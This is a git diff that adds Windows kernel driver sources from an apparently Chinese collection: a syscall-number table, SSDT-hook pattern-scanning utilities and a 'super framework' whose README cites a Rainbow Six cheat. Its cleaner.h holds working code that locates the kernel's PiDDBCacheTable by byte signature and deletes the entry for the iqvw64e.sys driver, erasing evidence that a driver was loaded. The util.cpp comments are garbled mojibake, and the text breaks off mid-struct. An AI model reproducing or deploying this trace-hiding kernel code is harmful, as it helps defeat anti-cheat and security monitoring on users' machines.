NtGetNextProcess = 0x0F7, + NtGetNextThread = 0x0F8, + NtGetNlsSectionPtr = 0x0F9, + NtGetNotificationResourceManager = 0x0FA, + NtGetWriteWatch = 0x0FB, + NtImpersonateAnonymousToken = 0x0FC, + NtImpersonateThread = 0x0FD, + NtInitializeEnclave = 0x0FE, + NtInitializeNlsFiles = 0x0FF, + NtInitializeRegistry = 0x100, + NtInitiatePowerAction = 0x101, + NtIsSystemResumeAutomatic = 0x102, + NtIsUILanguageComitted = 0x103, + NtListenPort = 0x104, + NtLoadDriver = 0x105, + NtLoadEnclaveData = 0x106, + NtLoadKey = 0x107, + NtLoadKey2 = 0x108, + NtLoadKeyEx = 0x109, + NtLockFile = 0x10A, + NtLockProductActivationKeys = 0x10B, + NtLockRegistryKey = 0x10C, + NtLockVirtualMemory = 0x10D, + NtMakePermanentObject = 0x10E, + NtMakeTemporaryObject = 0x10F, + NtManageHotPatch = 0x110, + NtManagePartition = 0x111, + NtMapCMFModule = 0x112, + NtMapUserPhysicalPages = 0x113, + NtMapViewOfSectionEx = 0x114, + NtModifyBootEntry = 0x115, + NtModifyDriverEntry = 0x116, + NtNotifyChangeDirectoryFile = 0x117, + NtNotifyChangeDirectoryFileEx = 0x118, + NtNotifyChangeKey = 0x119, + NtNotifyChangeMultipleKeys = 0x11A, + NtNotifyChangeSession = 0x11B, + NtOpenEnlistment = 0x11C, + // NtNotImp = 0x11D, // STATUS_NOT_IMPLEMENTED + NtOpenIoCompletion = 0x11E, + NtOpenJobObject = 0x11F, + NtOpenKeyEx = 0x120, + NtOpenKeyTransacted = 0x121, + NtOpenKeyTransactedEx = 0x122, + NtOpenKeyedEvent = 0x123, + NtOpenMutant = 0x124, + NtOpenObjectAuditAlarm = 0x125, + NtOpenPartition = 0x126, + NtOpenPrivateNamespace = 0x127, + NtOpenProcessToken = 0x128, + NtOpenRegistryTransaction = 0x129, + NtOpenResourceManager = 0x12A, + NtOpenSemaphore = 0x12B, + NtOpenSession = 0x12C, + NtOpenSymbolicLinkObject = 0x12D, + NtOpenThread = 0x12E, + NtOpenTimer = 0x12F, + NtOpenTransaction = 0x130, + NtOpenTransactionManager = 0x131, + NtPlugPlayControl = 0x132, + NtPrePrepareComplete = 0x133, + NtPrePrepareEnlistment = 0x134, + NtPrepareComplete = 0x135, + NtPrepareEnlistment = 0x136, + NtPrivilegeCheck = 0x137, + NtPrivilegeObjectAuditAlarm = 0x138, + NtPrivilegedServiceAuditAlarm = 0x139, + NtPropagationComplete = 0x13A, + NtPropagationFailed = 0x13B, + NtPssCaptureVaSpaceBulk = 0x13C, + NtPulseEvent = 0x13D, + NtQueryAuxiliaryCounterFrequency = 0x13E, + NtQueryBootEntryOrder = 0x13F, + NtQueryBootOptions = 0x140, + NtQueryDebugFilterState = 0x141, + NtQueryDirectoryFileEx = 0x142, + NtQueryDirectoryObject = 0x143, + NtQueryDriverEntryOrder = 0x144, + NtQueryEaFile = 0x145, + NtQueryFullAttributesFile = 0x146, + NtQueryInformationAtom = 0x147, + NtQueryInformationByName = 0x148, + NtQueryInformationEnlistment = 0x149, + NtQueryInformationJobObject = 0x14A, + NtQueryInformationPort = 0x14B, + NtQueryInformationResourceManager = 0x14C, + NtQueryInformationTransaction = 0x14D, + NtQueryInformationTransactionManager = 0x14E, + NtQueryInformationWorkerFactory = 0x14F, + NtQueryInstallUILanguage = 0x150, + NtQueryIntervalProfile = 0x151, + NtQueryIoCompletion = 0x152, + NtQueryLicenseValue = 0x153, + NtQueryMultipleValueKey = 0x154, + NtQueryMutant = 0x155, + NtQueryOpenSubKeys = 0x156, + NtQueryOpenSubKeysEx = 0x157, + CmpCleanUpHigherLayerKcbCachesPreCallback = 0x158, + NtQueryQuotaInformationFile = 0x159, + NtQuerySecurityAttributesToken = 0x15A, + NtQuerySecurityObject = 0x15B, + NtQuerySecurityPolicy = 0x15C, + NtQuerySemaphore = 0x15D, + NtQuerySymbolicLinkObject = 0x15E, + NtQuerySystemEnvironmentValue = 0x15F, + NtQuerySystemEnvironmentValueEx = 0x160, + NtQuerySystemInformationEx = 0x161, + NtQueryTimerResolution = 0x162, + NtQueryWnfStateData = 0x163, + NtQueryWnfStateNameInformation = 0x164, + NtQueueApcThreadEx = 0x165, + NtRaiseException = 0x166, + NtRaiseHardError = 0x167, + NtReadOnlyEnlistment = 0x168, + NtRecoverEnlistment = 0x169, + NtRecoverResourceManager = 0x16A, + NtRecoverTransactionManager = 0x16B, + NtRegisterProtocolAddressInformation = 0x16C, + NtRegisterThreadTerminatePort = 0x16D, + NtReleaseKeyedEvent = 0x16E, + NtReleaseWorkerFactoryWorker = 0x16F, + NtRemoveIoCompletionEx = 0x170, + NtRemoveProcessDebug = 0x171, + NtRenameKey = 0x172, + NtRenameTransactionManager = 0x173, + NtReplaceKey = 0x174, + NtReplacePartitionUnit = 0x175, + NtReplyWaitReplyPort = 0x176, + NtRequestPort = 0x177, + NtResetEvent = 0x178, + NtResetWriteWatch = 0x179, + NtRestoreKey = 0x17A, + NtResumeProcess = 0x17B, + NtRevertContainerImpersonation = 0x17C, + NtRollbackComplete = 0x17D, + NtRollbackEnlistment = 0x17E, + NtRollbackRegistryTransaction = 0x17F, + NtRollbackTransaction = 0x180, + NtRollforwardTransactionManager = 0x181, + NtSaveKey = 0x182, + NtSaveKeyEx = 0x183, + NtSaveMergedKeys = 0x184, + NtSecureConnectPort = 0x185, + NtSerializeBoot = 0x186, + NtSetBootEntryOrder = 0x187, + NtSetBootOptions = 0x188, + NtSetCachedSigningLevel = 0x189, + NtSetCachedSigningLevel2 = 0x18A, + NtSetContextThread = 0x18B, + NtSetDebugFilterState = 0x18C, + NtSetDefaultHardErrorPort = 0x18D, + NtSetDefaultLocale = 0x18E, + NtSetDefaultUILanguage = 0x18F, + NtSetDriverEntryOrder = 0x190, + NtSetEaFile = 0x191, + // NtNotImp = 0x192, // STATUS_NOT_IMPLEMENTED + // NtNotImp = 0x193, // STATUS_NOT_IMPLEMENTED + NtSetIRTimer = 0x194, + NtSetInformationDebugObject = 0x195, + NtSetInformationEnlistment = 0x196, + NtSetInformationJobObject = 0x197, + NtSetInformationKey = 0x198, + NtSetInformationResourceManager = 0x199, + NtSetInformationSymbolicLink = 0x19A, + NtSetInformationToken = 0x19B, + NtSetInformationTransaction = 0x19C, + NtSetInformationTransactionManager = 0x19D, + NtSetInformationVirtualMemory = 0x19E, + NtSetInformationWorkerFactory = 0x19F, + NtSetIntervalProfile = 0x1A0, + NtSetIoCompletion = 0x1A1, + NtSetIoCompletionEx = 0x1A2, + BvgaSetVirtualFrameBuffer = 0x1A3, + // NtNotImp = 0x1A4, // STATUS_NOT_IMPLEMENTED + // NtNotImp = 0x1A5, // STATUS_NOT_IMPLEMENTED + NtSetQuotaInformationFile = 0x1A6, + NtSetSecurityObject = 0x1A7, + NtSetSystemEnvironmentValue = 0x1A8, + NtSetSystemEnvironmentValueEx = 0x1A9, + NtSetSystemInformation = 0x1AA, + NtSetSystemPowerState = 0x1AB, + NtSetSystemTime = 0x1AC, + NtSetThreadExecutionState = 0x1AD, + NtSetTimer2 = 0x1AE, + NtSetTimerEx = 0x1AF, + NtSetTimerResolution = 0x1B0, + NtSetUuidSeed = 0x1B1, + NtSetVolumeInformationFile = 0x1B2, + NtSetWnfProcessNotificationEvent = 0x1B3, + NtShutdownSystem = 0x1B4, + NtShutdownWorkerFactory = 0x1B5, + NtSignalAndWaitForSingleObject = 0x1B6, + NtSinglePhaseReject = 0x1B7, + NtStartProfile = 0x1B8, + NtStopProfile = 0x1B9, + NtSubscribeWnfStateChange = 0x1BA, + NtSuspendProcess = 0x1BB, + NtSuspendThread = 0x1BC, + NtSystemDebugControl = 0x1BD, + NtTerminateEnclave = 0x1BE, + NtTerminateJobObject = 0x1BF, + NtTestAlert = 0x1C0, + NtThawRegistry = 0x1C1, + NtThawTransactions = 0x1C2, + NtTraceControl = 0x1C3, + NtTranslateFilePath = 0x1C4, + NtUmsThreadYield = 0x1C5, + NtUnloadDriver = 0x1C6, + NtUnloadKey = 0x1C7, + NtUnloadKey2 = 0x1C8, + NtUnloadKeyEx = 0x1C9, + NtUnlockFile = 0x1CA, + NtUnlockVirtualMemory = 0x1CB, + NtUnmapViewOfSectionEx = 0x1CC, + NtUnsubscribeWnfStateChange = 0x1CD, + NtUpdateWnfStateData = 0x1CE, + // NtNotImp = 0x1CF, // STATUS_NOT_IMPLEMENTED + NtWaitForAlertByThreadId = 0x1D0, + NtWaitForDebugEvent = 0x1D1, + NtWaitForKeyedEvent = 0x1D2, + NtWaitForWorkViaWorkerFactory = 0x1D3, + // NtNotImp = 0x1D4, // STATUS_NOT_IMPLEMENTED + // NtNotImp = 0x1D5, // STATUS_NOT_IMPLEMENTED + NtLoadKey3 = 0x1D6, + }; + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/util.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/util.cpp" new file mode 100644 index 0000000..1a872ba --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/util.cpp" @@ -0,0 +1,77 @@ +#include "util.hpp" +#include "module.hpp" + +PIMAGE_SECTION_HEADER utils::get_section_header(const uintptr_t image_base, const char* section_name) +{ + // ж + if (!image_base || !section_name) + return nullptr; + + // ȡdosͷ + const auto pimage_dos_header = reinterpret_cast(image_base); + + // ȡntͷ + const auto pimage_nt_headers = reinterpret_cast(image_base + pimage_dos_header->e_lfanew); + + // ȡͷ + auto psection = reinterpret_cast(pimage_nt_headers + 1); + + PIMAGE_SECTION_HEADER psection_hdr = nullptr; + + // + const auto NumberOfSections = pimage_nt_headers->FileHeader.NumberOfSections; + + // + for (auto i = 0; i < NumberOfSections; ++i) + { + if (strstr(psection->Name, section_name)) + { + psection_hdr = psection; + break; + } + + ++psection; + } + + return psection_hdr; +} + +bool utils::data_compare(const char* pdata, const char* bmask, const char* szmask) +{ + for (; *szmask; ++szmask, ++pdata, ++bmask) + { + if (*szmask == 'x' && *pdata != *bmask) + return false; + } + + return !*szmask; +} + +uintptr_t utils::find_pattern(const uintptr_t base, const size_t size, const char* bmask, const char* szmask) +{ + for (size_t i = 0; i < size; ++i) + if (data_compare(reinterpret_cast(base + i), bmask, szmask)) + return base + i; + + return 0; +} + +uintptr_t utils::find_pattern_km(const wchar_t* szmodule, const char* szsection, const char* bmask, const char* szmask) +{ + // ж + if (!szmodule || !szsection || !bmask || !szmask) + return 0; + + // ȡģ + const auto* pldr_entry = modules::get_ldr_data_by_name(szmodule); + if (!pldr_entry) + return 0; + + // ȡַ + const auto module_base = reinterpret_cast(pldr_entry->DllBase); + + // ȡָ + const auto* psection = get_section_header(reinterpret_cast(pldr_entry->DllBase), szsection); + + return psection ? find_pattern(module_base + psection->VirtualAddress, psection->VirtualSize, bmask, szmask) : 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/util.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/util.hpp" new file mode 100644 index 0000000..c600200 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/util.hpp" @@ -0,0 +1,118 @@ +#pragma once + +#include +#include + +#define printfs( format, ... ) DbgPrintEx( 0, 0, "[klhk-hook] : " format "\n", ##__VA_ARGS__ ) + +/* PEļṹ */ + +typedef struct _IMAGE_DOS_HEADER +{ + WORD e_magic; + WORD e_cblp; + WORD e_cp; + WORD e_crlc; + WORD e_cparhdr; + WORD e_minalloc; + WORD e_maxalloc; + WORD e_ss; + WORD e_sp; + WORD e_csum; + WORD e_ip; + WORD e_cs; + WORD e_lfarlc; + WORD e_ovno; + WORD e_res[4]; + WORD e_oemid; + WORD e_oeminfo; + WORD e_res2[10]; + LONG e_lfanew; +} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; + +typedef struct _IMAGE_FILE_HEADER +{ + WORD Machine; + WORD NumberOfSections; + DWORD TimeDateStamp; + DWORD PointerToSymbolTable; + DWORD NumberOfSymbols; + WORD SizeOfOptionalHeader; + WORD Characteristics; +} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; + +typedef struct _IMAGE_DATA_DIRECTORY +{ + DWORD VirtualAddress; + DWORD Size; +} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; + +typedef struct _IMAGE_OPTIONAL_HEADER64 +{ + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + ULONGLONG ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + ULONGLONG SizeOfStackReserve; + ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; + ULONGLONG SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[16]; +} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; + +typedef struct _IMAGE_NT_HEADERS64 +{ + ULONG Signature; + IMAGE_FILE_HEADER FileHeader; + IMAGE_OPTIONAL_HEADER64 OptionalHeader; +} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64; + +typedef struct _IMAGE_SECTION_HEADER +{ + char Name[8]; + ULONG VirtualSize; + ULONG VirtualAddress; + ULONG SizeOfRawData; + ULONG PointerToRawData; + ULONG PointerToRelocations; + ULONG PointerToLinenumbers; + __int16 NumberOfRelocations; + __int16 NumberOfLinenumbers; + ULONG Characteristics; +} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; + +namespace utils +{ + /* ȡͷ */ + PIMAGE_SECTION_HEADER get_section_header(const uintptr_t image_base, const char* section_name); + + // ƥ + bool data_compare(const char* pdata, const char* bmask, const char* szmask); + + // ڴƥ + uintptr_t find_pattern(const uintptr_t base, const size_t size, const char* bmask, const char* szmask); + + // ںڴƥ + uintptr_t find_pattern_km(const wchar_t* szmodule, const char* szsection, const char* bmask, const char* szmask); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/README.md" new file mode 100644 index 0000000..b6f4e0b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/README.md" @@ -0,0 +1,5 @@ +## [源地址](https://github.com/alxbrn/r6s-external-nuklear-hook) +## 我主要觉得这个框架很不错 +## clear piddb简洁明了,默认清除iqvw64e.sys驱动痕迹 +## hook住内核的NtOpenCompositionSurfaceSectionInfo函数与应用层进行通信 +## 例子是彩虹六号的 \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/cleaner.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/cleaner.h" new file mode 100644 index 0000000..2675d30 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/cleaner.h" @@ -0,0 +1,219 @@ +#pragma once +#include "imports.h" + +namespace cleaner { + PVOID g_KernelBase = NULL; + ULONG g_KernelSize = 0; + + PVOID resolve_relative_address(_In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) + { + ULONG_PTR Instr = (ULONG_PTR)Instruction; + LONG RipOffset = *(PLONG)(Instr + OffsetOffset); + PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset); + + return ResolvedAddr; + } + + NTSTATUS pattern_scan(IN PCUCHAR pattern, IN UCHAR wildcard, IN ULONG_PTR len, IN const VOID* base, IN ULONG_PTR size, OUT PVOID* ppFound) + { + ASSERT(ppFound != NULL && pattern != NULL && base != NULL); + if (ppFound == NULL || pattern == NULL || base == NULL) + return STATUS_INVALID_PARAMETER; + + for (ULONG_PTR i = 0; i < size - len; i++) + { + BOOLEAN found = TRUE; + for (ULONG_PTR j = 0; j < len; j++) + { + if (pattern[j] != wildcard && pattern[j] != ((PCUCHAR)base)[i + j]) + { + found = FALSE; + break; + } + } + + if (found != FALSE) + { + *ppFound = (PUCHAR)base + i; + return STATUS_SUCCESS; + } + } + + return STATUS_NOT_FOUND; + } + + PVOID get_kernel_base(OUT PULONG pSize) + { + NTSTATUS status = STATUS_SUCCESS; + ULONG bytes = 0; + PRTL_PROCESS_MODULES pMods = NULL; + PVOID checkPtr = NULL; + UNICODE_STRING routineName; + + // Already found + if (g_KernelBase != NULL) + { + if (pSize) + * pSize = g_KernelSize; + return g_KernelBase; + } + + RtlUnicodeStringInit(&routineName, L"NtOpenFile"); + + checkPtr = MmGetSystemRoutineAddress(&routineName); + if (checkPtr == NULL) + return NULL; + + + status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes); + + if (bytes == 0) + return NULL; + + pMods = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool, bytes, 0x454E4F45); // 'ENON' + RtlZeroMemory(pMods, bytes); + + status = ZwQuerySystemInformation(SystemModuleInformation, pMods, bytes, &bytes); + + if (NT_SUCCESS(status)) + { + PRTL_PROCESS_MODULE_INFORMATION pMod = pMods->Modules; + + for (ULONG i = 0; i < pMods->NumberOfModules; i++) + { + // System routine is inside module + if (checkPtr >= pMod[i].ImageBase && + checkPtr < (PVOID)((PUCHAR)pMod[i].ImageBase + pMod[i].ImageSize)) + { + g_KernelBase = pMod[i].ImageBase; + g_KernelSize = pMod[i].ImageSize; + if (pSize) + * pSize = g_KernelSize; + break; + } + } + } + + if (pMods) + ExFreePoolWithTag(pMods, 0x454E4F45); // 'ENON' + + return g_KernelBase; + } + + + NTSTATUS scan_section(IN PCCHAR section, IN PCUCHAR pattern, IN UCHAR wildcard, IN ULONG_PTR len, OUT PVOID* ppFound) + { + ASSERT(ppFound != NULL); + if (ppFound == NULL) + return STATUS_INVALID_PARAMETER; + + PVOID base = get_kernel_base(NULL); + if (!base) + return STATUS_NOT_FOUND; + + + PIMAGE_NT_HEADERS64 pHdr = RtlImageNtHeader(base); + if (!pHdr) + return STATUS_INVALID_IMAGE_FORMAT; + + PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)(pHdr + 1); + for (PIMAGE_SECTION_HEADER pSection = pFirstSection; pSection < pFirstSection + pHdr->FileHeader.NumberOfSections; pSection++) + { + ANSI_STRING s1, s2; + RtlInitAnsiString(&s1, section); + RtlInitAnsiString(&s2, (PCCHAR)pSection->Name); + if (RtlCompareString(&s1, &s2, TRUE) == 0) + { + PVOID ptr = NULL; + NTSTATUS status = pattern_scan(pattern, wildcard, len, (PUCHAR)base + pSection->VirtualAddress, pSection->Misc.VirtualSize, &ptr); + if (NT_SUCCESS(status)) + * (PULONG)ppFound = (ULONG)((PUCHAR)ptr - (PUCHAR)base); + + return status; + } + } + + return STATUS_NOT_FOUND; + } + + BOOLEAN LocatePiDDB(PERESOURCE* lock, PRTL_AVL_TABLE* table) + { + UCHAR PiDDBLockPtr_sig[] = "\x48\x8D\x0D\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\x48\x8B\x0D\xCC\xCC\xCC\xCC\x33\xDB"; + UCHAR PiDTablePtr_sig[] = "\x48\x8D\x0D\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\x3D\xCC\xCC\xCC\xCC\x0F\x83\xCC\xCC\xCC\xCC"; + + PVOID PiDDBLockPtr = NULL; + if (!NT_SUCCESS(scan_section("PAGE", PiDDBLockPtr_sig, 0xCC, sizeof(PiDDBLockPtr_sig) - 1, (&PiDDBLockPtr)))) { + return FALSE; + } + + RtlZeroMemory(PiDDBLockPtr_sig, sizeof(PiDDBLockPtr_sig) - 1); + + PVOID PiDTablePtr = NULL; + if (!NT_SUCCESS(scan_section("PAGE", PiDTablePtr_sig, 0xCC, sizeof(PiDTablePtr_sig) - 1, (&PiDTablePtr)))) { + return FALSE; + } + + RtlZeroMemory(PiDTablePtr_sig, sizeof(PiDTablePtr_sig) - 1); + + + UINT64 RealPtrPIDLock = NULL; + + RealPtrPIDLock = (UINT64)g_KernelBase + (UINT64)PiDDBLockPtr; + + + *lock = (PERESOURCE)resolve_relative_address((PVOID)RealPtrPIDLock, 3, 7); + + + UINT64 RealPtrPIDTable = NULL; + + RealPtrPIDTable = (UINT64)g_KernelBase + (UINT64)PiDTablePtr; + + + *table = (PRTL_AVL_TABLE)(resolve_relative_address((PVOID)RealPtrPIDTable, 3, 7)); + + return TRUE; + } + + BOOLEAN clean_piddbcachetalbe() { + PERESOURCE PiDDBLock = NULL; + PRTL_AVL_TABLE PiDDBCacheTable = NULL; + if (!LocatePiDDB(&PiDDBLock, &PiDDBCacheTable) && PiDDBLock == NULL && PiDDBCacheTable == NULL) { + return FALSE; + } + + // build a lookup entry + + PIDCacheobj lookupEntry; + + // this should work :D + UNICODE_STRING DriverName = RTL_CONSTANT_STRING(L"iqvw64e.sys"); + // removed *DriverName no need for it + lookupEntry.DriverName = DriverName; + lookupEntry.TimeDateStamp = 0x5284EAC3; // intel_driver TimeStamp. + + // aquire the ddb lock + ExAcquireResourceExclusiveLite(PiDDBLock, TRUE); + + // search our entry in the table + + // maybe something will bsod here. + PIDCacheobj* pFoundEntry = (PIDCacheobj*)RtlLookupElementGenericTableAvl(PiDDBCacheTable, &lookupEntry); + if (pFoundEntry == NULL) + { + // release the ddb resource lock + ExReleaseResourceLite(PiDDBLock); + return FALSE; + } + else + { + // first, unlink from the list + RemoveEntryList(&pFoundEntry->List); + // then delete the element from the avl table + RtlDeleteElementGenericTableAvl(PiDDBCacheTable, pFoundEntry); + + // release the ddb resource lock + ExReleaseResourceLite(PiDDBLock); + } + return TRUE; + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/imports.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/imports.h" new file mode 100644 index 0000000..76b4e4c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/imports.h" @@ -0,0 +1,307 @@ +#pragma once +#include +#include +#include +#include +#include + +typedef struct PiDDBCacheEntry +{ + LIST_ENTRY List; + UNICODE_STRING DriverName; + ULONG TimeDateStamp; + NTSTATUS LoadStatus; + char _0x0028[16]; +}PIDCacheobj; + +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 + +typedef struct _IMAGE_DATA_DIRECTORY +{ + ULONG VirtualAddress; + ULONG Size; +} IMAGE_DATA_DIRECTORY, * PIMAGE_DATA_DIRECTORY; + +typedef struct _IMAGE_OPTIONAL_HEADER64 +{ + USHORT Magic; + UCHAR MajorLinkerVersion; + UCHAR MinorLinkerVersion; + ULONG SizeOfCode; + ULONG SizeOfInitializedData; + ULONG SizeOfUninitializedData; + ULONG AddressOfEntryPoint; + ULONG BaseOfCode; + ULONGLONG ImageBase; + ULONG SectionAlignment; + ULONG FileAlignment; + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + USHORT MajorImageVersion; + USHORT MinorImageVersion; + USHORT MajorSubsystemVersion; + USHORT MinorSubsystemVersion; + ULONG Win32VersionValue; + ULONG SizeOfImage; + ULONG SizeOfHeaders; + ULONG CheckSum; + USHORT Subsystem; + USHORT DllCharacteristics; + ULONGLONG SizeOfStackReserve; + ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; + ULONGLONG SizeOfHeapCommit; + ULONG LoaderFlags; + ULONG NumberOfRvaAndSizes; + struct _IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER64, * PIMAGE_OPTIONAL_HEADER64; + +typedef struct _IMAGE_FILE_HEADER +{ + USHORT Machine; + USHORT NumberOfSections; + ULONG TimeDateStamp; + ULONG PointerToSymbolTable; + ULONG NumberOfSymbols; + USHORT SizeOfOptionalHeader; + USHORT Characteristics; +} IMAGE_FILE_HEADER, * PIMAGE_FILE_HEADER; + +typedef struct _IMAGE_NT_HEADERS64 +{ + ULONG Signature; + struct _IMAGE_FILE_HEADER FileHeader; + struct _IMAGE_OPTIONAL_HEADER64 OptionalHeader; +} IMAGE_NT_HEADERS64, * PIMAGE_NT_HEADERS64; + +typedef struct _IMAGE_SECTION_HEADER +{ + UCHAR Name[8]; + union + { + ULONG PhysicalAddress; + ULONG VirtualSize; + } Misc; + ULONG VirtualAddress; + ULONG SizeOfRawData; + ULONG PointerToRawData; + ULONG PointerToRelocations; + ULONG PointerToLinenumbers; + USHORT NumberOfRelocations; + USHORT NumberOfLinenumbers; + ULONG Characteristics; +} IMAGE_SECTION_HEADER, * PIMAGE_SECTION_HEADER; + +extern "C" NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader(PVOID Base); + + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation = 0x0B +} SYSTEM_INFORMATION_CLASS, +* PSYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_PROCESS_INFO +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + ULONG NumberOfThreadsHighWatermark; + ULONGLONG CycleTime; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +}SYSTEM_PROCESS_INFO, * PSYSTEM_PROCESS_INFO; + + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY ModuleListLoadOrder; + LIST_ENTRY ModuleListMemoryOrder; + LIST_ENTRY ModuleListInitOrder; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef void(__stdcall* PPS_POST_PROCESS_INIT_ROUTINE)(void); // not exported + +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE 